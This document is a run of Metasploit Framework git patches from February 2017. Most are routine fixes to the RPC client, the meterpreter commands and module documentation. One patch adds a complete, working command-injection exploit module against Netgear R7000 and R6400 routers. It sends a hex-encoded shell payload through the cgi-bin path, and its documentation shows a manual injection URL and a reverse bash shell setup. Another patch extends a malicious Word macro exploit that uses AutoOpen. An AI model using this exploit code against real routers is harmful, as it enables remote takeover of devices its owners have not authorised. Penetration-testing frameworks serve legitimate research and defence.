+123,7 @@ RECONFIGURE; end def exploit - unless mssql_login_datastore + unless mssql_login_datastore(datastore['DATABASE']) fail_with(Failure::BadConfig, 'Unable to login with the given credentials') end From b741c8b2f737551ddc09f3e3f4a161f0ce67734c Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 13 Feb 2017 21:16:48 -0600 Subject: [PATCH 172/426] fix typo in failure path, pointed out by rw- --- .../ui/console/command_dispatcher/extapi/clipboard.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index cc8368494e..7707e53c77 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -419,7 +419,7 @@ private print_line("File size : #{f[:size]} bytes") if get_files unless download_file(loot_dir, f[:name]) - print_error("Download of #{f:name]} failed.") + print_error("Download of #{f[:name]} failed.") end end print_line From 295526b87657beacbce27920152693c630c792b5 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Mon, 13 Feb 2017 23:08:19 -0500 Subject: [PATCH 173/426] eat your heart out @wvu-r7 --- .../scanner/misc/sunrpc_portmapper.md | 136 ++++++++++++++++++ 1 file changed, 136 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/misc/sunrpc_portmapper.md diff --git a/documentation/modules/auxiliary/scanner/misc/sunrpc_portmapper.md b/documentation/modules/auxiliary/scanner/misc/sunrpc_portmapper.md new file mode 100644 index 0000000000..70fb72cf27 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/misc/sunrpc_portmapper.md @@ -0,0 +1,136 @@ +## Vulnerable Application + +RPC Portmapper, or more recently renamed to rpcbind, is fairly common and this scanner searches for its existance. The idea behind rpcbind was to create a +'directory' that could be asked where a service is running (port). Having this single port/service be queryable meant, the services being managed by rpcbind +could actually be running on any port or protocol, and rpdbind would be in charge of letting clients know where they were. This is more or less an outdated +model/service, and NFS is arguably the most popular service still utilizing rpcbind. The following was done on Kali linux: + + 1. Install rpcbind: `apt-get install rpcbind` + 2. Now now have `rpcbind`, but this gives us minimal services running on it. You may want to install additional: + * NIS: `apt-get install nis` + * Start the service: `ypserv` + * NFS: `apt-get install nfs-kernel-server` + 3. Just to be safe, restart rpcbind: `service rpcbind restart` + +## Verification Steps + + 1. Install and configure rpcbind + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/misc/sunrpc_portmapper` + 4. Do: `run` + +## Scenarios + + A run against the configuration from these docs + + ``` + msf > use auxiliary/scanner/misc/sunrpc_portmapper + msf auxiliary(sunrpc_portmapper) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf auxiliary(sunrpc_portmapper) > run + + [+] 127.0.0.1:111 - SunRPC Programs for 127.0.0.1 + ============================= + + Name Number Version Port Protocol + ---- ------ ------- ---- -------- + mountd 100005 1 60153 udp + mountd 100005 1 39027 tcp + mountd 100005 2 47725 udp + mountd 100005 2 53055 tcp + mountd 100005 3 49015 udp + mountd 100005 3 47033 tcp + nfs 100003 3 2049 tcp + nfs 100003 4 2049 tcp + nfs 100003 3 2049 udp + nfs 100003 4 2049 udp + nfs_acl 100227 3 2049 tcp + nfs_acl 100227 3 2049 udp + nlockmgr 100021 1 40970 udp + nlockmgr 100021 3 40970 udp + nlockmgr 100021 4 40970 udp + nlockmgr 100021 1 42279 tcp + nlockmgr 100021 3 42279 tcp + nlockmgr 100021 4 42279 tcp + rpcbind 100000 4 111 tcp + rpcbind 100000 3 111 tcp + rpcbind 100000 2 111 tcp + rpcbind 100000 4 111 udp + rpcbind 100000 3 111 udp + rpcbind 100000 2 111 udp + ypserv 100004 2 707 udp + ypserv 100004 1 707 udp + ypserv 100004 2 708 tcp + ypserv 100004 1 708 tcp + + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + +## Confirming + +Since rpc port mapper has been around since 1995, there are many tools which can also query it. +The following are other industry tools which can also be used. + +### [nmap](https://nmap.org/nsedoc/scripts/rpcinfo.html) + +``` +nmap -p 111 --script=rpcinfo 127.0.0.1 + +Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-13 22:57 EST +Nmap scan report for localhost (127.0.0.1) +Host is up (0.000043s latency). +PORT STATE SERVICE +111/tcp open rpcbind +| rpcinfo: +| program version port/proto service +| 100000 2,3,4 111/tcp rpcbind +| 100000 2,3,4 111/udp rpcbind +| 100003 3,4 2049/tcp nfs +| 100003 3,4 2049/udp nfs +| 100004 1,2 707/udp ypserv +| 100004 1,2 708/tcp ypserv +| 100005 1,2,3 47033/tcp mountd +| 100005 1,2,3 49015/udp mountd +| 100021 1,3,4 40970/udp nlockmgr +| 100021 1,3,4 42279/tcp nlockmgr +| 100227 3 2049/tcp nfs_acl +|_ 100227 3 2049/udp nfs_acl +``` + +### rpcinfo + +This is the standard package included with rpcbind to query the rpc interface. + +``` +rpcinfo -p 127.0.0.1 + program vers proto port service + 100000 4 tcp 111 portmapper + 100000 3 tcp 111 portmapper + 100000 2 tcp 111 portmapper + 100000 4 udp 111 portmapper + 100000 3 udp 111 portmapper + 100000 2 udp 111 portmapper + 100005 1 udp 60153 mountd + 100005 1 tcp 39027 mountd + 100005 2 udp 47725 mountd + 100005 2 tcp 53055 mountd + 100005 3 udp 49015 mountd + 100005 3 tcp 47033 mountd + 100003 3 tcp 2049 nfs + 100003 4 tcp 2049 nfs + 100227 3 tcp 2049 + 100003 3 udp 2049 nfs + 100003 4 udp 2049 nfs + 100227 3 udp 2049 + 100021 1 udp 40970 nlockmgr + 100021 3 udp 40970 nlockmgr + 100021 4 udp 40970 nlockmgr + 100021 1 tcp 42279 nlockmgr + 100021 3 tcp 42279 nlockmgr + 100021 4 tcp 42279 nlockmgr + 100004 2 udp 707 ypserv + 100004 1 udp 707 ypserv + 100004 2 tcp 708 ypserv + 100004 1 tcp 708 ypserv +``` From 3b386f86f6339b469be4692a54784b1004bf4842 Mon Sep 17 00:00:00 2001 From: aushack <patrick@aushack.com> Date: Tue, 14 Feb 2017 17:05:46 +1100 Subject: [PATCH 174/426] Typo fix. --- modules/auxiliary/gather/netgear_password_disclosure.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index eb3ef6f024..0be849fa98 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary 'Description' => %q{ This module will collect the password for the `admin` user. The exploit will not complete if password recovery is set on the router. - The password is recieved by passing the token generated from `unauth.cgi` + The password is received by passing the token generated from `unauth.cgi` to `passwordrecovered.cgi`. This exploit works on many different NETGEAR products. The full list of affected products is available in the 'References' section. From 81abbfba465561b4d1bde6a655b677a5285dd2a4 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 14 Feb 2017 16:41:08 -0600 Subject: [PATCH 175/426] Resolve #7959, Automatically login to RPC service after expiration When the RPC client token expires, it will automatically login again, and renew the token during the next RPC request. Resolves #7959 --- lib/msf/core/rpc/v10/client.rb | 60 +++++++++++++++++++++++++--------- 1 file changed, 45 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/rpc/v10/client.rb b/lib/msf/core/rpc/v10/client.rb index 459d57633c..caac34d36f 100644 --- a/lib/msf/core/rpc/v10/client.rb +++ b/lib/msf/core/rpc/v10/client.rb @@ -28,6 +28,9 @@ class Client # @option info [String] :token A token used by the client. # @return [void] def initialize(info={}) + @user = nil + @pass = nil + self.info = { :host => '127.0.0.1', :port => 3790, @@ -41,14 +44,16 @@ class Client end - # Logs in by calling the 'auth.login' API. The authentication token will expire 5 minutes - # after the last request was made. + # Logs in by calling the 'auth.login' API. The authentication token will expire after 5 + # minutes, but will automatically be rewnewed when you make a new RPC request. # # @param [String] user Username. # @param [String] pass Password. # @raise RuntimeError Indicating a failed authentication. # @return [TrueClass] Indicating a successful login. def login(user,pass) + @user = user + @pass = pass res = self.call("auth.login", user, pass) unless (res && res['result'] == "success") raise RuntimeError, "authentication failed" @@ -58,6 +63,14 @@ class Client end + # Attempts to login again with the last known user name and password. + # + # @return [TrueClass] Indicating a successful login. + def re_login + login(@user, @pass) + end + + # Calls an API. # # @param [String] meth The RPC API to call. @@ -84,6 +97,36 @@ class Client args.unshift(meth) + begin + send_rpc_request(args) + rescue Msf::RPC::ServerException => e + if e.message =~ /Invalid Authentication Token/i && meth != 'auth.login' + re_login + args[1] = self.token + retry + else + raise e + end + ensure + @cli.close if @cli + end + + end + + + # Closes the client. + # + # @return [void] + def close + if @cli && @cli.conn? + @cli.close + end + @cli = nil + end + + private + + def send_rpc_request(args) unless @cli @cli = Rex::Proto::Http::Client.new(info[:host], info[:port], info[:context], info[:ssl], info[:ssl_version]) @cli.set_config( @@ -101,7 +144,6 @@ class Client ) res = @cli.send_recv(req) - @cli.close if res && [200, 401, 403, 500].include?(res.code) resp = MessagePack.unpack(res.body) @@ -118,18 +160,6 @@ class Client end end - - # Closes the client. - # - # @return [void] - def close - if @cli && @cli.conn? - @cli.close - end - @cli = nil - end - end end end - From f600fa1caa6120bf4bc957d4c44225b8d482c47b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 14 Feb 2017 17:03:57 -0600 Subject: [PATCH 176/426] Be aware of logout --- lib/msf/core/rpc/v10/client.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/rpc/v10/client.rb b/lib/msf/core/rpc/v10/client.rb index caac34d36f..06952e90b0 100644 --- a/lib/msf/core/rpc/v10/client.rb +++ b/lib/msf/core/rpc/v10/client.rb @@ -88,6 +88,10 @@ class Client # # {"version"=>"4.11.0-dev", "ruby"=>"2.1.5 x86_64-darwin14.0 2014-11-13", "api"=>"1.0"} # rpc.call('core.version') def call(meth, *args) + if meth == 'auth.logout' + do_logout_cleanup + end + unless meth == "auth.login" unless self.token raise RuntimeError, "client not authenticated" @@ -100,7 +104,7 @@ class Client begin send_rpc_request(args) rescue Msf::RPC::ServerException => e - if e.message =~ /Invalid Authentication Token/i && meth != 'auth.login' + if e.message =~ /Invalid Authentication Token/i && meth != 'auth.login' && @user && @pass re_login args[1] = self.token retry @@ -160,6 +164,11 @@ class Client end end + def do_logout_cleanup + @user = nil + @pass = nil + end + end end end From 24a4211bb98fb114f7c9fd32c0d9823b259a44dd Mon Sep 17 00:00:00 2001 From: Rich Whitcroft <rwhitcroft@gmail.com> Date: Tue, 14 Feb 2017 22:08:49 -0500 Subject: [PATCH 177/426] fix upload when dest not specified --- .../meterpreter/ui/console/command_dispatcher/stdapi/fs.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index 4fdd0e0a23..5d47b0159d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -756,7 +756,11 @@ class Console::CommandDispatcher::Stdapi::Fs # Source and destination will be the same src_items << last if src_items.empty? - dest = last + if args.size == 1 + dest = last.split(/(\/|\\)/).last + else + dest = last + end # Go through each source item and upload them src_items.each { |src| From 4e5dabf35f6dde92c41cd252d5cd285d0ee852f4 Mon Sep 17 00:00:00 2001 From: Rich Whitcroft <rwhitcroft@gmail.com> Date: Wed, 15 Feb 2017 16:05:49 -0500 Subject: [PATCH 178/426] fix cred_scanner's has_privates? method --- lib/metasploit/framework/credential_collection.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb index b4123de30e..1ddbdd2d73 100644 --- a/lib/metasploit/framework/credential_collection.rb +++ b/lib/metasploit/framework/credential_collection.rb @@ -215,7 +215,7 @@ class Metasploit::Framework::CredentialCollection end def has_privates? - password.present? || pass_file.present? || userpass_file.present? || !additional_privates.empty? || blank_passwords + password.present? || pass_file.present? || userpass_file.present? || !additional_privates.empty? || blank_passwords || user_as_pass end private From f113114643c8ef0270788d2954a77ada0adcdd8f Mon Sep 17 00:00:00 2001 From: David Manouchehri <manouchehri@riseup.net> Date: Wed, 15 Feb 2017 17:05:23 -0500 Subject: [PATCH 179/426] Added assigned CVE. --- modules/exploits/multi/local/allwinner_backdoor.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/local/allwinner_backdoor.rb b/modules/exploits/multi/local/allwinner_backdoor.rb index b37ff74a0d..52cc1e182f 100644 --- a/modules/exploits/multi/local/allwinner_backdoor.rb +++ b/modules/exploits/multi/local/allwinner_backdoor.rb @@ -41,6 +41,7 @@ class MetasploitModule < Msf::Exploit::Local "Arch" => ARCH_ARMLE, "References" => [ + [ "CVE", "2016-10225" ], [ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"], [ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \ "https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"], From 5bd38af8d61c23b72992bf91418be5cd1c7e6c7c Mon Sep 17 00:00:00 2001 From: Rich Whitcroft <rwhitcroft@gmail.com> Date: Wed, 15 Feb 2017 19:22:39 -0500 Subject: [PATCH 180/426] fix rm to handle multiple files --- .../meterpreter/ui/console/command_dispatcher/stdapi/fs.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index 4fdd0e0a23..a827ad1941 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -309,15 +309,15 @@ class Console::CommandDispatcher::Stdapi::Fs end # - # Delete the specified file. + # Delete the specified file(s). # def cmd_rm(*args) if (args.length == 0) - print_line("Usage: rm file") + print_line("Usage: rm file1 [file2...]") return true end - client.fs.file.rm(args[0]) + args.each { |f| client.fs.file.rm(f) } return true end From 81d63c8cc790644042b2cafe577636002f029390 Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Wed, 15 Feb 2017 22:33:48 -0500 Subject: [PATCH 181/426] Create netgear_r7000_cgibin_exec.rb --- .../linux/http/netgear_r7000_cgibin_exec.rb | 96 +++++++++++++++++++ 1 file changed, 96 insertions(+) create mode 100644 modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb new file mode 100644 index 0000000000..dc8630394d --- /dev/null +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection", + 'Description' => %q{ + This module exploits an arbitrary command injection vulnerability in + Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier. + }, + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Author' => ['thecarterb', 'Acew0rm'], + 'DefaultTarget' => 0, + 'Privileged' => false, + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ 'Automatic Target', { } ] + ], + 'References' => + [ + [ 'EDB', '40889'], + [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], + [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'], + [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'], + [ 'CVE', '2016-6277'] + ], + 'DisclosureDate' => 'Dec 06 2016', + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true + #'EncoderType' => Msf::Encoder::Type::CmdUnixIfs, + } + )) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + end + + def scrape(text, start_trig, end_trig) + text[/#{start_trig}(.*?)#{end_trig}/m, 1] + end + + # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected + def check + res = send_request_cgi({'uri'=>'/'}) + if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out.') + end + # Checks for the `WWW-Authenticate` header in the response + if res.headers["WWW-Authenticate"] + data = res.to_s + marker_one = "Basic realm=\"" + marker_two = "\"" + model = scrape(data, marker_one, marker_two) + vprint_status("Router is a NETGEAR router (#{model})") + if model == 'NETGEAR R7000' || model == 'NETGEAR R6400' + print_good("Router could be vulnerable (#{model})") + return CheckCode::Detected + else + return CheckCode::Safe + end + else + print_error('Router is not a NETGEAR router') + return CheckCode::Safe + end + end + + # Mostly from ddwrt_cgibin_exec.rb, it's essentially the same exploit + def exploit + is_vuln = check + cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join + str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&" + + print_status("Sending encoded command...") + vprint_status("Encoded command: #{str}") + send_request_raw({ 'uri' => "/cgi-bin/;#{str}" }) + + print_status("Giving the handler time to run...") + handler + + select(nil, nil, nil, 10.0) + end +end From 90224af8130fe8ae1d108ca654f0cc331f47ac43 Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Wed, 15 Feb 2017 22:39:16 -0500 Subject: [PATCH 182/426] Fix msftidy warning --- modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index dc8630394d..a76df3879a 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote def scrape(text, start_trig, end_trig) text[/#{start_trig}(.*?)#{end_trig}/m, 1] end - + # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected def check res = send_request_cgi({'uri'=>'/'}) From 811f6d4d58f0c9637a9c16dad448d76b52441982 Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Thu, 16 Feb 2017 08:38:06 -0500 Subject: [PATCH 183/426] Update netgear_r7000_cgibin_exec.rb --- .../exploits/linux/http/netgear_r7000_cgibin_exec.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index a76df3879a..60a3b72d47 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -62,12 +62,12 @@ class MetasploitModule < Msf::Exploit::Remote # Checks for the `WWW-Authenticate` header in the response if res.headers["WWW-Authenticate"] data = res.to_s - marker_one = "Basic realm=\"" + marker_one = "Basic realm=\"NETGEAR " marker_two = "\"" model = scrape(data, marker_one, marker_two) vprint_status("Router is a NETGEAR router (#{model})") - if model == 'NETGEAR R7000' || model == 'NETGEAR R6400' - print_good("Router could be vulnerable (#{model})") + if model == 'R7000' || model == 'R6400' + print_good("Router may be vulnerable (NETGEAR #{model})") return CheckCode::Detected else return CheckCode::Safe @@ -84,11 +84,11 @@ class MetasploitModule < Msf::Exploit::Remote cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&" - print_status("Sending encoded command...") + print_status('Sending encoded command...') vprint_status("Encoded command: #{str}") send_request_raw({ 'uri' => "/cgi-bin/;#{str}" }) - print_status("Giving the handler time to run...") + print_status('Giving the handler time to run...') handler select(nil, nil, nil, 10.0) From d775c66adfe6c4c1175a0db69f897c95f368910d Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Thu, 16 Feb 2017 08:44:36 -0500 Subject: [PATCH 184/426] Start docs --- .../linux/http/netgear_r7000_cgibin_exec.md | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md diff --git a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md new file mode 100644 index 0000000000..2a0f3c0dfc --- /dev/null +++ b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md @@ -0,0 +1,57 @@ +The netgear_r7000_command_injection module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. + + +## Vulnerable Application + +Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and possibly earlier. + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/http/netgear_r7000_cgibin_exec` + 3. Do: `set RHOST <RouterIP>` + 4. Do: `set PAYLOAD <payload> + 5. Do: `run` + 6. If the router is a R7000 or R6400, the module should run + +## Options + + **RHOST** + + This should usually be the local IP address of the vulnerable router. + + **PAYLOAD** + + The valid payloads are `unix cmd` payloads _only_, as this is a command execution module + +## Scenarios + + Sample output of what it should look like. + + ``` + msf > use auxiliary/scanner/http/netgear_r7000_command_injection +msf auxiliary(netgear_r7000_command_injection) > options + +Module options (auxiliary/scanner/http/netgear_r7000_command_injection): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CMD yes Command line to execute + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST yes The remote target address + RPORT 80 yes The target port + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + +msf auxiliary(netgear_r7000_command_injection) > set CMD echo "cowsay" +CMD => echo 'cowsay' +msf auxiliary(netgear_r7000_command_injection) > set RHOST 192.168.1.1 +RHOST => 192.168.1.1 +msf auxiliary(netgear_r7000_command_injection) > check +[*] 192.168.1.1:80 The target service is running, but could not be validated. +msf auxiliary(netgear_r7000_command_injection) > run + +[*] Sending request to 192.168.1.1 +[*] Auxiliary module execution completed +msf auxiliary(netgear_r7000_command_injection) > + ``` From af62fe9f6d468d32865ce9389b9fa6ea48811aad Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Thu, 16 Feb 2017 08:58:45 -0500 Subject: [PATCH 185/426] Update netgear_r7000_cgibin_exec.md --- .../linux/http/netgear_r7000_cgibin_exec.md | 41 +++++++++++-------- 1 file changed, 23 insertions(+), 18 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md index 2a0f3c0dfc..f5c26a8062 100644 --- a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md +++ b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md @@ -22,36 +22,41 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po **PAYLOAD** - The valid payloads are `unix cmd` payloads _only_, as this is a command execution module + The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module ## Scenarios - Sample output of what it should look like. + Sample output of the options looks like so ``` - msf > use auxiliary/scanner/http/netgear_r7000_command_injection -msf auxiliary(netgear_r7000_command_injection) > options + msf exploit(netgear_r7000_cgibin_exec) > options -Module options (auxiliary/scanner/http/netgear_r7000_command_injection): +Module options (exploit/linux/http/netgear_r7000_cgibin_exec): Name Current Setting Required Description ---- --------------- -------- ----------- - CMD yes Command line to execute Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOST yes The remote target address - RPORT 80 yes The target port + RHOST 192.168.1.1 yes The target address + RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host -msf auxiliary(netgear_r7000_command_injection) > set CMD echo "cowsay" -CMD => echo 'cowsay' -msf auxiliary(netgear_r7000_command_injection) > set RHOST 192.168.1.1 -RHOST => 192.168.1.1 -msf auxiliary(netgear_r7000_command_injection) > check -[*] 192.168.1.1:80 The target service is running, but could not be validated. -msf auxiliary(netgear_r7000_command_injection) > run -[*] Sending request to 192.168.1.1 -[*] Auxiliary module execution completed -msf auxiliary(netgear_r7000_command_injection) > +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.153.34 yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Target + +msf exploit(netgear_r7000_cgibin_exec) > ``` + + From c9e825461119729a47a9e8424ca9bee69284c9df Mon Sep 17 00:00:00 2001 From: Carter <cbawsome77@gmail.com> Date: Thu, 16 Feb 2017 09:00:27 -0500 Subject: [PATCH 186/426] Update netgear_r7000_cgibin_exec.md --- .../modules/exploit/linux/http/netgear_r7000_cgibin_exec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md index f5c26a8062..7becffce8a 100644 --- a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md +++ b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md @@ -1,4 +1,4 @@ -The netgear_r7000_command_injection module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. +The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. ## Vulnerable Application From 3d269b46ad444633d89c110b0d63baa9893fcc65 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 16 Feb 2017 12:28:11 -0600 Subject: [PATCH 187/426] Support OS X for Microsoft Office macro exploit --- .../office_word_macro/word/vbaData.xml | 2 +- .../office_word_macro/word/vbaProject.bin | Bin 17920 -> 23040 bytes .../exploits/office_word_macro/macro.vba | 42 ++++++++++-------- .../windows/fileformat/office_word_macro.rb | 25 ++++++++--- 4 files changed, 43 insertions(+), 26 deletions(-) mode change 100644 => 100755 data/exploits/office_word_macro/word/vbaData.xml mode change 100644 => 100755 data/exploits/office_word_macro/word/vbaProject.bin diff --git a/data/exploits/office_word_macro/word/vbaData.xml b/data/exploits/office_word_macro/word/vbaData.xml old mode 100644 new mode 100755 index 31ba994856..fd613d4fa0 --- a/data/exploits/office_word_macro/word/vbaData.xml +++ b/data/exploits/office_word_macro/word/vbaData.xml @@ -1,2 +1,2 @@ <?xml version="1.0" encoding="UTF-8" standalone="yes"?> -<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData> \ No newline at end of file +<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx2="http://schemas.microsoft.com/office/drawing/2015/10/21/chartex" xmlns:cx3="http://schemas.microsoft.com/office/drawing/2016/5/9/chartex" xmlns:cx4="http://schemas.microsoft.com/office/drawing/2016/5/10/chartex" 